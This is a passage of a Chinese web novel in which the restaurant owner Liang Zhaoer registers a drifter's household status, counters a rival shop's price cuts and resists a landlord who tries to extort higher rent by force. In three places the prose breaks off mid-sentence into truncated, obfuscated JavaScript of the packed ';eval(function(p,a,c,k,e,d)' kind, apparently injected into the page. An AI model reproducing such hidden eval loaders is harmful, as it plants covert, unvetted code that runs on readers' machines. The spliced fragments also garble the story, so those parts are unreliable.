那小吏见梁照儿言辞恳切，又一股脑地讲出了两位官员的名字，心下也信了三分。 他一个转身，丢下冷冷的一句话：“在外头等着。” 梁照儿头戴方幅紫罗幅巾，整个松松地挽在脑后。太阳有些晃眼睛，她将幅巾拉下些遮阳，又忍不住咂舌：看来不管哪朝哪代找人办事都得脱层皮。 沈度跟着她站在一旁，笑着说：“你方才为何说我是家里人？” 梁照儿淡淡道：“总不能说你是幽州来的逋逃犯罢？” “那富商鱼肉乡民，自知理亏不敢报官，我可不算逃犯。”沈度辩解道。 两人说话间那小吏探头出来警告说：“可以进了，不过你们只能在前头走动，若是进后头冲撞了贵人，就等着吃牢饭罢。” 梁照儿连声谢过，又对着沈度道：“你切记，待会就说你是龙山脚下西溪村里头的猎户，遭了灾躲上了山，如今来投奔你远房表妹。” 沈度挑眉道：“就说我是山民？” 梁照儿点头：“山民怎么了，人家总不会到山上去寻你，看你是不是真住在那。” 进了户曹处，梁照儿瞧见付文兴正在案前，连忙走到他跟前道：“付官人，今儿求您办一桩事，也不知您得不得空？” 付文兴见是梁照儿，眉目中也含着几分笑，“娘子这是哪的话，平日里咱们也受了你不少恩惠。” 旁的暂不提，就论李鸿和付文兴每次来如意馆里吃饭时单送的小吃和年节里送的节礼也够不少了。好在李鸿和付文兴也时常投桃报李，有他们二人时常出入，地痞流氓之流也不敢贸然寻衅滋事。 梁照儿腼腆一笑，“还烦请您替奴这不成器的表兄上个户籍。” 沈度接过梁照儿的眼神，依她所说依次将事实道了来。付文兴听后点头说：“既如此，那便替他上个客户就是了。” 付文兴并未多疑虑什么，只当沈度一直住在山上，是前头的户曹参军和典吏工作没做到位，漏了沈度这么号人。他向新任户曹参军禀明情况后便替沈度上了户籍。 从州衙里出来后沈度仍觉得不真实，如今他也算有了身份，是西溪村人，不再是黑户。 以前他行走江湖，半夜都只能胡乱找个屋顶或是树顶将就着睡一晚。无他，本朝住客栈需要身份凭证和路引，像他这种要啥啥没有的，可不是只能睡大马路。 路过街边小摊，梁照儿被形色各异的发簪勾住了。她停下来仔细瞧了瞧，又问：“这枚花胜多少钱？” 摊主人道：“三十文钱，这花胜极衬娘子，若不拿下倒可惜了。” 梁照儿摆了摆手，“这花胜不过用的是普通彩石，想来么也不值几个钱，便宜些奴便买下了。” 摊主人拱手回绝：“小本生意，娘子切莫杀价囖。” 梁照儿撇了撇嘴，恋恋不舍地瞧了一眼，便拉着沈度走了。沈度不解：“掌柜的既喜欢，买下便是。” “三十文钱能买三十个馒头了，还没挑得担，就想着买盐酱。”梁照儿叱道。 两人又一道上街买了些食材，沈度借机说要回去买些豆蔻来，去那摊上将梁照儿看中的那枚花胜买了下来。 那摊主人接过银子，笑成一朵花，直赞沈度是个对娘子体贴的好郎君。 沈度将花胜塞进袖子里，拎着一小袋豆蔻跟在梁照儿的身后，他掏出花胜，轻巧一跃，将那花胜簪在了梁照儿头上。 梁照儿只觉头顶一沉，再伸手一摸便触见冰凉的一片。她先是惊讶，而后双唇微微聚成一个圆，“你把它买回来做甚？” 沈度心情良好道：“给你的谢礼。” 他双唇微勾，已然准备欣然接受梁照儿痛哭流涕的感谢，又或是娇羞的笑容，却不料她问：“你哪来的钱？” 说着她便要搜沈度的身。 沈度面上一片羞赧，又怕动作粗鲁伤着她，只得连连避开。他喘着气道：“你这人，半分江南娇娘子的模样都没有。” 梁照儿骂道：“娇来娇去的顶个屁用，这月还没发工钱，你从哪偷偷存了私房钱麽？” 有私房钱还不赶紧还债！ 沈度揉着不注意被她踩到的右脚，蹙眉道：“原先剩的一些，今遭买了这东西，甚么也不剩了。” 闻言梁照儿轻哼一声，这才满意地挎着篮子朝如意馆走去。两人吵吵闹闹地回了如意馆，正见玉梳捧着些试吃的糕点在门口招揽食客。 玉梳见梁照儿回来了连忙道：“你可算回来了，宋家铺子将他家胡饼的价格降到了两文钱，将不少客人都带走了。” 梁照儿瞧着这宋家铺子摆明了是要同如意馆对上，心下也一阵生气。原本从前她做早餐，宋家铺子做宵夜，没打过照面，也称得上井水不犯河水，各自谋自己的生路。虽说如今如意馆规模扩大了，但也营业时间也不如宋家铺子晚，按理说不应该起什么冲突才是。 她决心去宋家铺子看看。 梁照儿想知道究竟是什么人才能干出这种蠢事。 借着买胡饼的机会，梁照儿在宋家铺子门口排起了队。等轮到她了，再定睛一瞧，这宋家铺子的店主人竟是从前在如意馆门前食闹的那父子俩。 梁照儿气极反笑，又想起玉梳从前说的那些话，心中对这父子二人的鄙夷更甚。 宋老头见是梁照儿，面上浮上一丝心虚，又很快压了下去，虚张声势道：“你来我铺子想做甚么坏事不成？” 梁照儿险些破口大骂，这宋老头简直是恶人先告状。 她整理好心绪，为了不妨碍后头的食客，只要了一个胡饼便退到一 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近些日子虽说宋家铺子凭借着低廉的价格吸引去了不少食客，可不少食客占便宜去尝了宋家铺子的胡饼后，最终还是选择买如意馆的。价格便宜，自然用料上逊色不少，再加上味道不如如意馆的好，部分追求品质的食客回流。 但始终有部分食客被宋家铺子抢走了。 李瘸子激动道：“胡饼卖三文钱本也赚不了甚么钱，宋家铺子还将价格压低，这是亏本也要抢客人！” 梁照儿思忖片刻道：“这招不能接下。” 若是真被宋老头激怒跟着一起降价，只怕到最后一步退步步退。如意馆如今重新开业不久，资金链也不算稳定，搞不好真得被他逼出卸盐巷。 “那怎么办？”玉梳忧心忡忡道。 梁照儿眼珠子一转，又说：“从明日开始，在店里用早饭的客人免费提供紫苏香饮。” 香饮子一类的如意馆中本就有售卖，正好是一文钱的价格。 这也算变相降价了。 不过倒比降价强不少——食客吃饭本就需要喝茶水，且香饮又比寻常茶水更有滋味，同样的价格能获得超值的服务，也算物有所值。 沈度深深地瞧了梁照儿一眼，轻笑一声道：“你倒机灵。” 李瘸子还未明白期间关窍，只问道：“机灵在哪里，你们在打甚么谜语。” 玉梳笑着对李瘸子说：“哎唷，您呀安心做好菜便是了。” 李瘸子冷哼一声，“人年纪大了到哪都被嫌弃。” 幸好因着上次杜嫣然那件事，宝绮分外卖力地替梁照儿在贵女们中吆喝了一圈，如今如意馆门前排队停着的车马和小厮奴仆不少，都是等着买糕点的。 梁照儿预备利用好这一波宣传，结结实实地在扬州城里打响名号。她从彩纸铺选够了不少颜色鲜亮的彩纸做包装，又从李木匠那定制了几种木盒将糕点做成礼盒，俘获了不少娘子们的芳心。 34. 短暂的分别与好消息 春风倚棹，寒阴复晴。正是烟花三月下扬州的好时节，不少文人墨客循例过来赶一陂春，瓜洲口前热闹非凡。 梁照儿坐在楼上看见往来船只，心中忍不住谓叹：自己怎么没想着开一家客栈呢？若是开了客栈此刻只怕要赚个盆满钵满。 她总算知道为何经商之人什么样的产业都想占一脚，那可都是白花花的银子啊！ 如意馆外排起了长队，不少食客都等着买新出炉的糕点。如今买些如意馆的茶糕回去赏花作诗已俨然成为一种新的风尚——还得归功于蔡宣季和韩景彦，二人在如意馆连开了几场诗会吸引了不少附庸风雅之人。 本朝这些文人墨客也可算作引领风尚的达人了。 出了年节，蔡宣季和韩景彦便准备从扬州启程上京参加后续的考试，临行之前二人又结伴来了如意馆辞行。 梁照儿并未忘记对二人的承诺，早早地就备下了给二人的糕点。蔡宣季接过梁照儿递过来的一篮子萝卜丝油墩子正欲哭无泪时，又探头发现韩景彦收到的是一份捏的栩栩如生的荷花糕，顿时火冒三丈。 “为什么我的是萝卜丝油墩子，他的是荷花糕？”蔡宣季怒道。 韩景彦闻言一瞧，咧嘴笑了。他寻常面上便含着三分笑意以示对人的尊敬，可现如今大笑却更显几分生动。 梁照儿凑趣说：“你不是惯爱吃这个麽，多吃些罢，到外头了可吃不到囖。” 蔡宣季沉默了半晌，又问韩景彦：“你此次去汴京住在何处，要不咱们就个伴也好？” 他家在汴京城里有一处宅子，只是年久失修，得收拾收拾才能住人。那宅子少说有两进，蔡宣季一个人住着有些害怕，便想拉上韩景彦一道。 韩景彦摇了摇头，“家父原是从汴京城中外放出知扬州的，京中宅子奴仆一应俱全，就不去叨扰启旸兄了。” 二人相交不久，韩景彦鲜少提及他的知州父亲，待人接物也是一等一的温和良善，一时间倒让蔡宣季忘记了他是位不折不扣的公子哥儿。 韩景彦见蔡宣季欲哭无泪，又问：“启旸兄若不嫌弃不如来我家同住，也好彼此照看着。” 蔡宣季头摇得跟拨浪鼓似的，“不要，不要。” 他一向秉持的观念是别人来他家住可以，他去别人家住不行。蔡宣季总觉着在别人家住着手脚都不知该往何处放，满身的不自在。 “不过我倒还缺个随侍的小厮，一时间也找不到甚么合适的人选。”蔡宣季又道。 原先在书院里，读书的学生们一律不许带书童，只准一个人入学倒还瞧不出什么。可如今他们这批中举的举人中身边大多跟了几个随身侍候的小厮，除了那些穷得揭不开锅的之流，倒显得蔡宣季有些例外了。 正好也需要个人替他打点俗物。 韩景彦道：“不如去人牙子那里瞧瞧？” “我识得城北牙行的黄爷，不如引你去瞧瞧？”梁照儿见两人讲到她能插上嘴的事情才开口道。 蔡宣季摇头，“人牙子那里的多半都是些俗物，跟着小爷我上京岂非是丢了我的面子？要挑就挑个长相抻敨的，最好还读过几本书，能说得上话的才好。” 梁照儿无语：“你这人简直是癞宝望天鹅！是去挑小厮，又不是去请教你的师傅，再说人家要自己样貌生得好，还会读书，何苦做你的小厮，不如自己去科考。” 韩景彦听梁照儿讲话不由得轻笑一声。韩景彦觉得梁照儿仿佛长在了自己的笑点上一般，她一开口讲话，自己就想笑。 立文站在一边冷眼瞧着自家郎君这副模样，也暗暗吃惊。 他家郎君真的很久没这般笑过了！ 蔡宣季凑上前去问韩景彦：“希程兄，你说我这算不算癞蛤蟆想吃天鹅肉？” 韩景彦声音含笑：“慢慢寻摸着，说不准就有哪只呆头鹅撞上了呢。” 几人嬉笑闲说了一阵，才互相告别。这一别也不知何时能再见，按照原书剧情，蔡宣季一路高中直接留在汴京城被点了官做。 韩景彦自不必说，本就是少年英才，又有其父加持，只看官家封个甚么样的官给他做。 临别时，蔡宣季红了眼眶，最后稀里哗啦地哭了一通。 梁照儿望着面前这位哭成泪人的少年忍不住扶额，她费解：这人究竟是怎么成为原书中的反派的？ 她将袖子从蔡宣季手中抽出来，送他二人出去后才转头回了如意馆。 梁照儿同沈度闲扯两句：“今日营收倒还好，可瞧见宋家铺子有甚么动静没？” 自打如意馆里头免费提供香饮子后，其中流失的客人有不少回来了，宋家铺子再没出过什么动静，一时间让梁照儿有些疑惑。 沈度不语，去外头看了两眼，回道：“没有。” “今日怎得成了个锯嘴葫芦？”梁照儿问道。 沈度淡淡道：“我本就不爱闲舌，显得不稳重。” 梁照儿见状翻了个白眼，又去前头替娘子们打包糕点。她选了好几张嫩绿的彩纸，笑着说：“又是一更春，用这样的也好衬衬景。” 收到包裹的小娘子拎起来上下都瞧了瞧，也道：“真好看。” 一位常来的娘子问：“原先你们这儿不是有些时令的糕点，譬如如意酥之类的，往后还做么？” 梁照儿见是熟客连忙道：“做的，做的。春分时预备上些新品，届时娘子可来瞧瞧。” 那娘子犹豫说：“我瞧着近来如意馆里多了不少贵客，这糕点的价格可会上涨？” 原本如意馆还未重新装潢前走的是亲民路线，同其他的食肆不一样，价格都十分低廉，食材也还算新鲜，收获了周围一众居民的喜爱。 可如今改头换面了，大家自然也有所担忧。 “有些吃食成本本就高，价钱自然也会比寻常的贵些，”梁照儿话锋一转，“不过店里头依时令节庆时常有活动，价钱比寻常便宜两三成，总的来说并不会上涨许多。” 那娘子听后便放心了，又要了一份冰雪冷元子才离去。 羊安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他丢下一包治风湿的药，补充道：“这药记得给李瘸子，只叮嘱他少喝些酒。如今揾了工做，往后都是好日子。他从前托我去帮他寻穗穗，这事也有回音了。” 梁照儿满脸惊喜，“果真？哎呀，这可真是天大的好事！” 羊安顺点头，“原先一处做事的兄弟寻摸上了拐走穗穗的拍花子，只等找他问清楚将穗穗卖去哪户人家了，估计就能找回穗穗了。” 梁照儿欢喜地忍不住跳了起来，和如意馆里四人一起久了，几人之间也相处出不少真感情。李瘸子年长，到底是在燕来楼干了许久的大厨，做事妥帖细致，专业能力也过硬，将厨房里头打理的井井有条，又将余下三人都当作自家孩子一般照看。 如今听到了穗穗的消息，让梁照儿如何不开心？ 沈度在一旁竖耳听见了，也勾唇愉悦地笑了。他刚来如意馆时，只想快些偷到令牌，早日离开，如今居然也生了几分不愿离去的心思。 偶尔他心底会冒出一个荒唐的念头：若是一直这样同他们打打闹闹，这样安安稳稳地生活下去貌似也不错？ 羊安顺又顺嘴吐露了几句详情，才从如意馆走了。 等今日打烊了，梁照儿便迫不及待地将李瘸子拉到桌边坐下，竹筒倒豆子般将羊安顺下午所言之事说了个一干二净。 李瘸子嘴角翕动，眼里罕见地露出柔软。 玉梳笑道：“你瞧瞧，李瘸子听了这信儿欢喜地都不知说甚么好了。” 35. 暴力收租的房东 如今如意馆生意渐渐做起来了，经营过程中虽有些小波折，好在都尽数解了。梁照儿此刻正是偷得片刻安宁的时候，心中松快了不少，一喜之下给众人都涨了工钱，所有员工均涨一钱。 沈度本欠梁照儿二十两银子，涨了工钱后大约还需五年半才能还清，相比较原来需要八年才能还清走人，这年限已经大大缩短了。 梁照儿在玉梳孜孜不倦的教学下总算学会了如何拨算盘，此刻正拨着算盘替沈度算这笔账。 她恭喜沈度说：“还有五年多你就能还清了。” 沈度咬牙切齿道：“你这是黑店，我要报官！” 梁照儿笑着逗他：“你这话倒不对了，水费油费药费人工费食材费，样样都得算，我还替你抹了个零，不必太谢过。” 沈度攥着扫帚冷哼一声，又到一边去扫地了。 玉梳见状也被逗笑，“你这掌柜当的，伙计们倒欢喜了。可你这样今日涨一钱，明日涨一钱的，有这么多银钱给麽？” 梁照儿摇着罗扇慢悠悠道：“我心中有数，你如今也算伙计，拿了工钱只管开心就是了。” 她又冲着厨房对李瘸子喊：“李瘸子，咱们今晚加两个菜庆祝庆祝。” 正当几人说说笑笑时，一身着湖蓝色锦袍的老头笑眯眯地在门口叩门。 梁照儿给沈度使了个眼色，沈度会意立刻上前去问：“不知老人家有何贵干？” 那老头拄着拐杖缓缓踏了进来，“你们猜小老儿有甚么事？” 得，来了个打哑谜的谜语人。 沈度闻言回头与梁照儿和玉梳对视一眼，接着答道：“还请您直言。” 那老头一捋花白的胡须，自报家门：“在下正是这房子的房主人。” 梁照儿闻言立刻起身迎上前去，生怕怠慢了。她道：“还不快去后头寻上好的碧螺春来沏杯茶来房东家吃？” 沈度得令一个飞身翻过栏杆立刻去厨房里找李瘸子拿茶叶。 李瘸子见他要来取才买回来的上品碧螺春，满脸不情愿地给他匀了小半勺，气得沈度直呼他抠门。 玉梳引着房主人到方桌边坐下，又仔细用抹布将桌子擦得锃亮，“您请上座。” “您今日怎么有空到这儿来？”梁照儿袅袅歇身坐在房主人下首陪着说话。 原先在牙行签租契时梁照儿并未见过房东，一切事宜均是由黄爷作为中间人代办的，故而她一时间也摸不准此人秉性如何。 房东意味不明地干笑了两声，又说：“许久未来，再故地重游一番倒也别有意趣。掌柜的倒是个心思细巧之人，将这铺面收拾的焕然一新，叫我都要认不出了。” 梁照儿猜不中这房东葫芦里卖的什么药，不过仍捧场说：“您过誉了，不过是借您的风水宝地混口饭吃罢了。” 两人圈子兜了半天，那房东才切入主题：“如今这瓜州渡口一修，卸盐巷也算朽木雕成金菩萨，身价翻倍了。” 此话一出，梁照儿还有什么不懂的。 这房东只怕是眼馋如意馆生意渐有起色，又加之这一片逐渐发达起来，觉着从前租契约定好的租金太低了，想涨租金。 梁照儿并不搭腔，在这事上谁先立不住脚，便输了。 就不能开了这个随意涨租金的口子，一旦开了，只怕人心不足蛇吞象，日日寻个由头便要来捞上两笔。 何况梁照儿签租契时曾经问过黄爷这租金是否能随意上调，当时可是得了黄爷斩钉截铁的确定才签下这租契的。即便要涨租金，也得过了这租契的时间，到续租时再提才算合规。 沈度拎着一壶热茶出来，梁照儿伸手拦下他，掀开盖子一瞧，对着房主人抱歉道：“瞧奴这记性，忘记这碧螺春里蛀了虫，可不敢给您喝，若喝出事来才算奴的罪过呢。” 她将盖子合上，又道：“再去泡壶老白茶来。” 老白茶自然不如碧螺春，梁照儿此举也算是恶心这房主人一通。她心道：就许你半路涨房租恶心我，就不许我也膈应膈应你？ 沈度闻言又跑回厨房重新泡茶。 他站在炉灶边忍不住笑了一声，他家这位掌柜的还真是睚眦必报。 李瘸子见他边煮茶边笑，只以为他中了邪，连忙替他喊魂：“你这人怎么回事，好端端烧起水来笑甚么？” 沈度被李瘸子这么一喊不耐烦道：“做你的菜！” 待水烧开了，他又拎着沏好的茶出去给那房东满满倒了一杯。 房东接过茶杯倒也不恼，没喝那茶直言说：“原与娘子行了个方便，租金减了两成，只是如今这行情……周围的铺子都涨了租金，小老儿也不好不提。” “您预备涨多少呢，也好给奴交个底。”梁照儿微微一笑，果真是图穷匕见。 那老二伸出两根手指，认真道：“二十两。” 梁照儿险些从凳子上摔下来，二十两，他怎么不去抢钱庄？她苦笑了两句又道：“您这玩笑开的有些过了。” 这话一出，那房主人脸色一变，原先面上的和蔼之色一空。他随身带着的侍从从外头一跃而进，环胸站在他身侧阴沉沉地瞪着众人。 “你们可别敬酒不吃吃罚酒。” 那房主人将茶杯里的茶往前一泼，褐色的茶水倒了梁照儿一脚。 看来这是要暴力收租了。 沈度生平最厌恶富人仗势欺压百姓，一个箭步冲上前来挡在梁照儿面前冷冷道：“您这话还是说给自己听罢。” 房主人身边的小侍见沈度身上有些功夫，亦侧身拔刀出鞘威吓。 店里的食客见一旁刀光剑影也不敢继续用饭，唯恐波及到自身，不少纷纷撇了碗筷而去。 梁照儿见状颤抖着拍了拍沈度，又对着那房主人道：“不如请了黄爷来，从他那过了明路再商议可好？” 房东一拂衣袖，不屑道：“这是我的地皮，要如何自是我说了算，与他人何干？” “何必跟此等恶贼多费口舌。”沈度冷哼一声，说着便欲上去先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那便好办了，据说这位黄爷是再公正不过的人了，又世代做这个行当，在城里也有些威望，先请了他来坐镇才是。”李瘸子思忖片刻说道。 梁照儿亦点了点头，“我明日亲自去牙行寻黄爷。” 沈度插嘴说：“这事宜早不宜迟，照方才那房主人所说，只怕他们后头还要来闹。” 玉梳也觉得沈度言之有理，赞同说：“是啊照儿，你且去牙行寻黄爷，店里头总有我们三个替你张罗着。” 一时间气氛有些凝重，谁也未曾想过才好了那么两日便又遇上这档子事。 沈度向来不喜这种气氛，此刻出声打破说：“掌柜的，你再点点今日损伤的桌椅板凳之类的，看看我还要赔你多少银子。” 梁照儿“噗嗤”一声笑了，装模做样地点了点，又道：“我瞧着你这账是还不完了哩。” 36. 孙五哥的保护伞 梁照儿与众人在如意馆分别后便去了城北牙行寻黄爷商讨这事如何处置。半路上经过惠安书局时，恰巧碰见了在那买书的崔璋。 崔璋怀里抱着崔珍留下来的儿子，如今也有四个多月大了，正是对周围好奇的时候，黝黑的双目咕噜噜地转个不停。 “这可是巧了。”梁照儿笑着说。 崔璋顿了顿身，却未回头，只说：“你原先不是说在路上遇见了只当不认识麽？” 梁照儿讪笑道：“你嫂子不是都回青州啦？我与你又没有天大的过节，偶然碰上了讲两句怎么不行？” 她见崔璋身形清瘦，一手抱着孩子，一手夹着书，眉宇微结，又生得一张玉面，不由得让人有些怜惜。 难怪有不少人不爱青涩的少年郎，却偏好成了亲、做了阿爹的人夫，瞧着果真让人心怀亲近之意。 崔璋缓缓转了身来，对梁照儿微微一笑，只是这笑怎么看怎么有些苦涩。 梁照儿问：“那日蔡郎君来食肆里与我辞行，你怎么没一道来呢？” 崔璋一听这话，只当她心中记挂着自己、盼望见到自己，原本死寂的眸子又忽而闪起光来。但想着蔡宣季同韩景彦二人，一时间又暗了下去。 他讷讷道：“我没脸来。” 人家两位都是举人老爷，风风光光地去汴京城参加会试。而自己不过一穷酸秀才，靠教黄口稚子读书为生，甚至还带着个孩子。 梁照儿一怔，随即安慰道：“你这人就是心思太重了，自个儿把自己自个儿看得太低，实则压根没人在意这些小事，人家自己都忙活不完自家的那摊事呢。” 她又说：“孟子怎么说的来着，‘天将降大任于是人也，必先苦其心志’，这都是上苍对你的历练。” 崔璋勾了勾唇，“你近来倒读了不少书。” “经营食肆么，不读些书也不行呀，书中都是做人的智慧哩。” 梁照儿所读的不少书都是韩景彦推荐的，其中有不懂之处也时常与他写信讨教。这可算是活生生的古代大家来给她家教，对于典籍的注解可比后世那些晦涩难懂的教科书准确易懂多了。 崔璋点了点头。 她举的这个例子倒恰如其分。舜、孙叔敖和百里奚等人都出身微末，最终却能成就大业，想来自己也有出头的那一日。 梁照儿每次宽慰他，总能说到他心坎处。 他只是在等待一个一鸣惊人的时机。 “谢谢。”崔璋真心实意道。 梁照儿指了指他怀里的婴孩，问道：“可给他起了名？难为你带着他，只怕日后难得娶媳妇。” “按族谱的字辈给起了个名，叫崔灼。”崔璋淡淡道。 自打他领了崔灼回洙泗村，村里人的闲言碎语就没停过，纷纷猜测崔灼是不是他在外头的私生子。最后什么样的传言都出来了：有说这孩子是跟翠袖坊歌女偷生下的，也有说是和崔家原先小丫鬟生下的…… 月娘听了这流言不管不顾地就要找崔璋问个清楚，得知是崔璋大哥留下的遗腹子便四处帮他澄清。 不过一点用也没有，村里人只爱看热闹，信他们想相信的，反而笑月娘说：“你还巴巴地赶上去给人当后娘囖！” 黄家二老一听这话，便绝了让月娘与崔璋成亲的念头，将她锁在家里不准她再去崔璋那破屋子里帮忙。不仅如此，还亲自寻到崔璋严肃地命令他与月娘保持距离。 此举倒正中崔璋下怀。 不仅是因为他本就没这番心思，也因他如今境况确实也不好耽误月娘。 月娘年纪轻、样貌好，人也勤快，嫁给谁都会过得好。两条腿的书生不说一抓一大把，但也并不似珍兽罕见。 月娘却不干，要死要活地闹。 崔璋想到此处，眼睑微垂，又说：“像我这样的人，娶亲也是害了人家。” 梁照儿只当他与月娘之间闹了别扭，想着原书中的下场，也不敢多嘴，只当作没听见。 崔璋又问：“你今日怎么上街来了？” 梁照儿简单概述了一番房东要涨租，在店里闹了一通的事，又说：“只好去寻寻从前帮着签租契的牙人，瞧瞧有没有什么法子解决。” 崔璋沉声道：“你一个女人处理这种事情总归吃亏，恰巧遇到了我也作桩善事陪你一同去罢。” 梁照儿想想也是，便让他跟着一道去了。 到了牙行，只见上次的小厮在案前忙碌着，他瞧见梁照儿进来便扬起一张笑脸问：“梁娘子今日怎么得空来了，可是需要赁几个小奴帮着干活？” 那小厮知晓梁照儿如今正在开食肆，只当他那里缺人手了。 他又瞧见梁照儿身旁跟着一个男人，那男人怀里居然还抱着个孩子，更是震惊。他记着大半年前同梁照儿见面时，她还未成婚，怎得如今不仅多了个夫君，连孩子也蹦出来了？ 不过算算日子，也不是没有可能。 那小厮脸色憋成猪肝，“恭喜娘子了。” 梁照儿一脸茫然，问道：“黄爷可在牙行里？” 小厮点了点头，“我家主人正在后头，还请娘子稍候片刻。” 崔璋抱着崔灼到一边坐下，又冲着梁照儿招了招手。两人都坐下后，崔璋又道：“先看看黄爷怎么说，若行不通只怕得找官府来解决了。” 梁照儿扶额，看来古代也逃不过打官司。 “娘子寻某所为何事？”黄爷打了帘子从后头出来问道。 梁照儿将事情一五一十地又讲了一遍，顿觉口干舌燥，喝了一大杯茶才打住。 她又问：“这房主人这般猖狂，莫不是他背后有甚么人替他撑腰？” 尽管在古代，可本朝也是法治社会，律法虽不算严苛可也算张弛有度，也没见过像这般明目张胆自成帮派的不法分子。 黄爷沉思片刻，回说：“这还真叫你给说中了。” 这房主人的靠山不是别人，正是任老爷。房主人姓孙，名唤五哥，原是任老爷铺子里的管事，后来发迹了出来单干，但每年还得去任家拜年上交些营收。 梁照儿听黄爷一讲，大约也明白了其中的门道。 这些地皮店铺都可算作任系产业，即店主人或房主人都与任家沾些干系。虽说其中有的是自愿的，有的是被迫的，但都得向任家交些保护费店才能开下去。 不过任老爷也并非是只收钱不办事，真出了什么事，也会出面解决。 而任老爷的背后，站着的便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她总觉着崔璋这人和鬼一般似的，走路没声，行踪也没个定影，总是忽然间出现在她身旁。 梁照儿弹了弹崔灼的手指，逗了他两下又说：“你怎么仿佛对这些事情很清楚似的。” 崔璋无奈道：“家里头有那么个大哥，这种歪事邪事没见过一千也有八百了。” 说出来也是心酸，崔璋居然在这种事情上诡异地专业对口了。他记着从前崔大郎有一遭闹到衙门上去与人对簿公堂，还是他写的讼书。 梁照儿笑着说：“不如你在外头支个摊，替人家写讼书作讼师，想来也能赚不少银子。” 崔璋望着梁照儿忍不住吐槽说：“也不知说你这人甚么好，到了这时候还有功夫开我的玩笑？” 梁照儿撇了撇嘴说：“有劲过一天，没劲也是过一天，又不是苦着个脸麻烦就能解决。” 崔璋摇了摇头，带着崔灼同梁照儿分别。临走时他又道：“若是有事便叫人递个信去洙泗村，有我能帮上忙的地方千万告诉我。” 梁照儿冲他招了招手，爽朗道：“这点你千万放心，我这人能用上的肯定不会放过。” 37. 收集证据 自打那日孙五哥撂下狠话，如意馆的生意便被他搅得做不下去了。时不时的不是有一群小乞儿在门口用竹杖敲着碗编歌谣骂人，就是有几个醉汉歪歪斜斜地倒在门前叫嚣，再就是命人将垃圾倒在如意馆的门口。 梁照儿见交涉不成，连忙去州衙请了李鸿来镇压。 那些地痞流氓见有官爷来，立刻作鸟兽状散了。 原以为孙五哥能用什么高超的手段来与如意馆进行商战，不想真是字面意义上的“双拳难敌四手”，采用了最朴实的法子。 李鸿不解：“好端端地怎么惹上这种事？” 梁照儿压根没把希望寄托在李鸿身上，虽说他官职比胡县尉高，可到底是个初出茅庐的毛头小子，哪能抵得过在扬州城混了这许久的任老爷和胡县尉？ 故而她只拣了紧要的同李鸿讲，李鸿一听便皱了眉头，“这确实难办了。” 毕竟孙五哥也没做什么伤天害理的事情，只是每天派人来恶心如意馆。若是那些地痞流氓不供出幕后指使之人，也没什么罪名将孙五哥扣下。 梁照儿思忖片刻，又道：“若是我手上有任老爷的把柄呢？” 打蛇打七寸，孙五哥仗着任老爷横行霸道，若是亮出这枚底牌，想来孙五哥也得投鼠忌器。 李鸿问道：“是甚么样的把柄？” 梁照儿将金钿曾来食肆里买阴婚用的喜糕和喜饼一事据实告诉了李鸿，“这事扬州城里不少人都知道，任五郎早殇，任老爷择良家女子为他配阴婚。” 李鸿点头道：“这事韩知州向来禁止，倒有说头。不过你当初可和任家侍女签订了什么文书一类的，约定好了要供喜饼给任家？” 梁照儿懊恼：“这倒没有。” 李鸿无奈说：“这便不成了，若有真凭实据还好办，如今甚么东西都没有还得担心对方反咬你一口凭空污蔑。” 玉梳一拍桌子气愤道：“难不成就随他们这般欺负人不成！” 众人一时间陷入了沉默。 沈度出身道：“没证据搜集证据就是了。” 李瘸子问：“你说得倒轻巧，这东西要有这么容易收集倒好了。” 沈度见李鸿在不好说，他只得拾起老本行，夜探任家和孙五哥的宅子偷出来，此刻也顾不得什么证据合不合法了。 他虽未明言，可如意馆众人一起生活了许久，又岂会不明白他的意思，纷纷低下了脑袋。 李鸿仍抱有一丝幻想道：“凡事也没有这么绝对，不如先一边与那头商议着，再去找证据，做两手准备？” 虽然梁照儿觉着此事压根没有善了的可能，但还是附和道：“李官人说的是，是得两手准备着。” 送走了李鸿后，如意馆众人立刻凑到一处。 李瘸子又问：“若小沈去偷，会不会有危险？” 沈度白了李瘸子一眼，没好气道：“你这说的不是废话吗，你当人家家的仆役都是吃素的？” 玉梳有些害怕：“如今小沈好不容易弄下户籍，预备金盆洗手好好过日子，又叫他去走这一遭总归是不好。” 梁照儿也赞同这一观点。 她思忖半刻才道：“玉梳说的对，此事缓缓，不到万不得已之时不能用这法子。” 沈度挑眉问道：“那还有什么法子，如今人家都打到家里来了，难不成坐以待毙？” 梁照儿蹙眉，示意大家噤声让她仔细想想。 过了半晌她理清思绪后又问玉梳：“玉梳，你可还记着与我第一次提及任老爷是因着甚么事情来着？” 玉梳经她这么一说，也陷入回忆之中。 “……是珍大官人那事！”玉梳捂嘴惊讶道。 梁照儿点头，“想必赌契和印子钱的文书还留在崔家，若能找到任家放印子钱的证据也无不可。” 玉梳奋力点了点头。 李瘸子微微放下心来，“左不过任家烂账一大本，怎么翻都有错处，只待我们细心去找了。” 梁照儿点头，“说的在理。” 玉梳迟疑道：“那还要不要同孙五哥那边交涉着？” 说曹操，曹操就到。 玉梳前脚刚提了孙五哥的名字，只见他便带着小厮登了如意馆的门。还不待人上前去迎，孙五哥便自顾进来坐下给自己倒了一盏茶吃。 李瘸子骂道：“哎哎哎，你这侉子怎么半点礼不讲的，有人请你进来麽，你就自己坐下斟茶吃了？” 孙五哥一副小人得志的模样：“整块地皮都是我的，喝两口茶又有甚么干系？” 他环视一圈，望见如意馆众人脸上的怒气满意地笑了，“我就是喜欢你们这个样子，满脸的怒气冲冲，好唷，有生机。” 